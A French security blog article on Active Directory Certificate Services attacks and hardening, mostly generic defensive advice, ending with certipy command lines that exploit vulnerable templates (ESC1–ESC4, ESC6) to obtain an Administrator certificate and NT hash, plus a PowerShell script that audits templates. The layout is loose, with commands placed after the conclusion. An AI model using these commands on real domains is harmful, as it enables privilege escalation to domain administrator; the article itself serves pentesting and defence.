Attaques ADCS 2026 : ESC1 à ESC15, Exploitation & Defense

Contexte et Enjeux

La sécurité d'Active Directory reste un enjeu majeur pour les entreprises en 2025-2026. Avec la multiplication des attaques élaborées, les équipes IT doivent constamment adapter leurs defenses. Les environnements hybrides combinant AD on-premise et Entra ID (anciennement Azure AD) ajoutent une complexite supplementaire.

Pour comprendre les fondamentaux, consultez notre article sur As Rep Roasting Attaque Defense. Les techniques d'attaque evoluent rapidement, comme détaillé dans Pass The Ticket Attaque Defense.

Analyse Technique Detaillee

L'approche technique repose sur plusieurs vecteurs d'attaque complementaires. Les pentesters et red teamers utilisent ces techniques pour identifier les failles dans les configurations AD. La comprehension de la chaine d'attaque complete est essentielle pour mettre en place des defenses efficaces.

Les outils comme BloodHound, Impacket et Rubeus permettent d'automatiser la détection des chemins d'attaque. Selon les recommandations de MITRE, la surveillance des événements critiques (Event ID 4769, 4662, 4724) est indispensable. Notre guide Top 10 Attaques Active Directory détaillé les procedures d'audit.

La complexite des environnements modernes nécessite une approche en couches. Le modele de tiering recommande par Microsoft et l'ANSSI reste la référence pour segmenter les acces privilegies.

Une compromission d'un seul poste de travail pourrait-elle mener à votre contrôleur de domaine ?

Stratégies de Defense et Remediation

La remediation doit etre progressive et priorisee. Commencez par les quick wins : desactiver NTLM ou possible, activer le Protected Users group, configurer le tiering. Ensuite, abordez les chantiers de fond comme la migration vers le passwordless et le renforcement du Conditional Access.

• Étape 1 : Audit complet avec les scripts recommandes — voir Rbcd Attaque Defense
• Étape 2 : Remediation des configurations critiques
• Étape 3 : Mise en place du monitoring continu
• Étape 4 : Tests de penetration reguliers

Plusieurs outils gratuits facilitent l'audit et le durcissement d'Active Directory. PingCastle, Purple Knight et ADRecon fournissent des rapports detailles. Les références de ANSSI completent ces outils avec des bonnes pratiques validees. Pour approfondir, consultez Pass The Hash Attaque Defense.

Questions frequentes

La mise en pratique de ces concepts nécessite une approche methodique et structuree. Les équipes techniques doivent d'abord evaluer leur niveau de maturite actuel sur le sujet, identifier les lacunes prioritaires et definir un plan d'action realiste. L'implementation progressive, avec des jalons mesurables, garantit une adoption durable et efficace des pratiques recommandees.

Les organisations qui reussissent le mieux dans ce domaine adoptent une culture d'amelioration continue. Cela implique des revues regulieres des processus, une veille technologique active et une formation permanente des équipes. Les indicateurs de performance doivent etre definis des le depart pour mesurer objectivement les progres realises et ajuster la stratégie si necessaire.

L'integration de ces pratiques dans les processus existants de l'organisation est un facteur cle de succes. Plutot que de creer des workflows paralleles, il est recommande d'enrichir les procedures actuelles avec les controles et les verifications necessaires. Cette approche reduit la resistance au changement et facilite l'adoption par les équipes operationnelles.

Recommandations de durcissement

La sécurisation d'un environnement Active Directory passe par une approche méthodique. Le modèle de tiering proposé par Microsoft — avec une séparation stricte des comptes administrateurs Tier 0, Tier 1 et Tier 2 — reste la fondation de toute architecture sécurisée. Pourtant, dans la majorité des audits, on constate que ce modèle n'est que partiellement appliqué.

LAPS (Local Administrator Password Solution) est un autre pilier souvent négligé. Sans LAPS, un seul mot de passe administrateur local compromis peut ouvrir la voie à un mouvement latéral massif. La documentation Microsoft détaille la mise en œuvre, mais l'implémentation sur un parc hétérogène prend du temps et de la planification.

Points de contrôle prioritaires

Les chemins d'attaque les plus courants dans un AD passent par : les délégations Kerberos non contraintes, les comptes de service avec des SPN et des mots de passe faibles (cible du Kerberoasting), les GPO mal configurées qui exposent des credentials, et les ACL permissives sur des objets sensibles comme AdminSDHolder.

BloodHound permet de cartographier ces chemins en quelques minutes. Si vous ne l'avez jamais lancé sur votre environnement de production, la découverte risque d'être instructive. La réalité est souvent plus complexe que ce que les schémas théoriques laissent supposer.

Consultez les recommandations de l'ANSSI et le référentiel MITRE ATT&CK TA0004 (Privilege Escalation) pour structurer votre approche défensive.

Contexte et enjeux actuels

Impact opérationnel

Pour approfondir ce sujet, consultez notre outil open-source ad-security-audit qui facilite l'audit de sécurité complet d'Active Directory.

Les sujets techniques en cybersécurité exigent une approche rigoureuse, fondée sur l'expérimentation et la validation en conditions réelles. Les environnements de laboratoire — qu'ils soient construits avec Proxmox, VMware Workstation ou des services cloud éphémères — sont indispensables pour tester les techniques, les outils et les contre-mesures avant tout déploiement en production.

L'un des écueils les plus fréquents dans la mise en œuvre de solutions techniques de sécurité est le gap entre la documentation officielle et la réalité du terrain. Les guides de déploiement supposent souvent un environnement propre et standardisé, là où la plupart des organisations gèrent un patrimoine applicatif hétérogène, avec des dépendances croisées et des configurations héritées.

Approche méthodique recommandée

Pour chaque implémentation technique, la méthodologie suivante a fait ses preuves : audit de l'existant, définition des prérequis, déploiement en environnement de test, validation fonctionnelle et sécurité, déploiement progressif en production avec rollback plan, puis monitoring post-déploiement. Chaque étape doit être documentée.

Les référentiels MITRE ATT&CK et MITRE D3FEND fournissent un cadre structuré pour aligner les mesures techniques sur les menaces réelles. D3FEND, en particulier, cartographie les contre-mesures défensives face aux techniques d'attaque, ce qui facilite la priorisation des investissements en sécurité.

La documentation interne — runbooks, playbooks, procédures d'exploitation — est le maillon souvent manquant. Sans elle, la connaissance reste dans la tête des experts, et chaque départ ou absence crée un risque opérationnel. Avez-vous documenté vos procédures critiques de manière à ce qu'un nouveau membre de l'équipe puisse les exécuter de manière autonome ?

Sources et références : MITRE ATT&CK Privilege Escalation · ADSecurity.org

Conclusion

La sécurisation d'Active Directory est un processus continu qui nécessite une vigilance constante. Les nouvelles menaces de 2026 renforcent la nécessite d'adopter une approche proactive, combinant audit regulier, monitoring en temps reel et formation des équipes.

# Découverte
certipy find -u [email protected] -p Password1 -dc-ip 10.0.0.1 -vulnerable

# Exploitation : obtenir un cert pour Administrator
certipy req -u [email protected] -p Password1 -dc-ip 10.0.0.1     -ca "CORP-CA" -template "VulnerableUserTemplate"     -upn [email protected]

# Authentification et récupération du hash NT
certipy auth -pfx administrator.pfx -dc-ip 10.0.0.1

# Template Any Purpose : utiliser comme ESC1 si SAN autorisé
certipy req -u [email protected] -p Password1 -dc-ip 10.0.0.1     -ca "CORP-CA" -template "AnyPurposeTemplate"     -upn [email protected]

# Etape 1 : obtenir un cert d'Enrollment Agent
certipy req -u [email protected] -p Password1 -dc-ip 10.0.0.1     -ca "CORP-CA" -template "EnrollmentAgentTemplate"

# Etape 2 : s'inscrire pour Administrator via le cert d'agent
certipy req -u [email protected] -p Password1 -dc-ip 10.0.0.1     -ca "CORP-CA" -template "UserTemplate"     -on-behalf-of "domaindministrator"     -pfx enrollmentagent.pfx

# Modifier le template pour activer ESC1
certipy template -u [email protected] -p Password1 -dc-ip 10.0.0.1     -template "WritableTemplate" -save-old

# Puis exploiter via ESC1
certipy req -u [email protected] -p Password1 -dc-ip 10.0.0.1     -ca "CORP-CA" -template "WritableTemplate"     -upn [email protected]

# Vérification du flag sur la CA
certutil -config "CORP\CORP-CA" -getreg policy\EditFlags

# Exploitation avec tout template standard
certipy req -u [email protected] -p Password1 -dc-ip 10.0.0.1     -ca "CORP-CA" -template "User"     -upn [email protected]

#Requires -Modules ActiveDirectory
# Audit-ADCSTemplates.ps1 — Détection des templates vulnérables

function Get-ADCSVulnerableTemplates {
    $results = @()

    # Récupérer tous les templates
    $templates = Get-ADObject -SearchBase `
        "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,$(([adsi]'').distinguishedName)" `
        -Filter {objectClass -eq "pKICertificateTemplate"} `
        -Properties msPKI-Certificate-Name-Flag,
                    msPKI-Enrollment-Flag,
                    pKIExtendedKeyUsage,
                    nTSecurityDescriptor,
                    displayName

    foreach ($template in $templates) {
        $nameFlag = $template.'msPKI-Certificate-Name-Flag'
        $enrollFlag = $template.'msPKI-Enrollment-Flag'
        $ekus = $template.pKIExtendedKeyUsage

        # ESC1 : ENROLLEE_SUPPLIES_SUBJECT + Auth EKU
        $esc1 = ($nameFlag -band 0x1) -and (
            $ekus -contains "1.3.6.1.5.5.7.3.2" -or  # Client Auth
            $ekus -contains "1.3.6.1.4.1.311.20.2.2" -or  # Smart Card
            $ekus -contains "1.3.6.1.5.2.3.4"  # PKINIT
        )

        # ESC2 : Any Purpose ou SubCA
        $esc2 = $ekus -contains "2.5.29.37.0" -or
                $ekus -contains "1.3.6.1.4.1.311.20.2"

        # ESC3 : Certificate Request Agent EKU
        $esc3 = $ekus -contains "1.3.6.1.4.1.311.20.2.1"

        if ($esc1 -or $esc2 -or $esc3) {
            $vulns = @()
            if ($esc1) { $vulns += "ESC1" }
            if ($esc2) { $vulns += "ESC2" }
            if ($esc3) { $vulns += "ESC3" }

            # Qui peut s'inscrire ?
            $acl = $template.nTSecurityDescriptor
            $enrollRights = $acl.Access | Where-Object {
                $_.ActiveDirectoryRights -match "ExtendedRight" -and
                $_.ObjectType -eq [guid]"0e10c968-78fb-11d2-90d4-00c04f79dc55"
            }

            $results += [PSCustomObject]@{
                TemplateName  = $template.displayName
                Vulnerabilities = $vulns -join ", "
                EnrollableBy  = ($enrollRights.IdentityReference | Sort-Object -Unique) -join "; "
            }
        }
    }
    return $results
}

$vulnTemplates = Get-ADCSVulnerableTemplates
if ($vulnTemplates.Count -gt 0) {
    Write-Host "[ALERTE] $($vulnTemplates.Count) template(s) vulnerables detectes :" -ForegroundColor Red
    $vulnTemplates | Format-Table -AutoSize
} else {
    Write-Host "[OK] Aucun template vulnerable detecte" -ForegroundColor Green
}

Votre Active Directory est-il compromis ?

Audit AD complet, détection de chemins d'attaque, durcissement Tier Model — intervention sous 48h.

Audit AD — Devis gratuit [email protected]